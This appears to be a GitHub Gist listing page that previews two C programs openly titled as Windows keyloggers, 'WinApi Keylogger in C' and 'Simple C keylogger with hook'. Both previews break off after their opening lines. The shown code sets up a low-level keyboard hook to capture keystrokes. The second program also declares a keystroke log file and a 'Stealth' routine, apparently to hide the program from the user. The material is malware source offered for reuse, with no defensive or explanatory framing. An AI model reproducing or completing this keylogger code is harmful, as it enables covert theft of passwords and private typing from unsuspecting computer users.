Skip to content

Instantly share code, notes, and snippets.

@piotrmacha
piotrmacha / keylogger.c
Created May 6, 2016 18:24
WinApi Keylogger in C
#include <stdio.h>
#include <windows.h>
LRESULT CALLBACK KeyboardHook(int nCode, WPARAM wParam, LPARAM lParam) {
static int last;
BOOL letter = 1;
if(nCode == HC_ACTION) {
if(wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) {
PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT)lParam;
int code = p->vkCode;
@5nyper
5nyper / hook.c
Last active June 3, 2023 15:27
Simple C keylogger with hook
#include <stdio.h>
#include <windows.h>
#include <winuser.h>
HHOOK hook;
LPMSG msg;
FILE *LOG;
void Stealth()
{